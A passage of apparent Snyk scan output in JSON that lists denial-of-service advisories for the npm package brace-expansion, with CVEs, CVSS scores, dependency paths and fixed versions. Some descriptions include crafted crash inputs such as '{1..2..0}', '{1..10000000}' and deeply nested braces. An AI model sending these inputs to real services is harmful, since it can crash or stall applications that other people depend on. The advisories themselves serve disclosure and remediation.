limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": 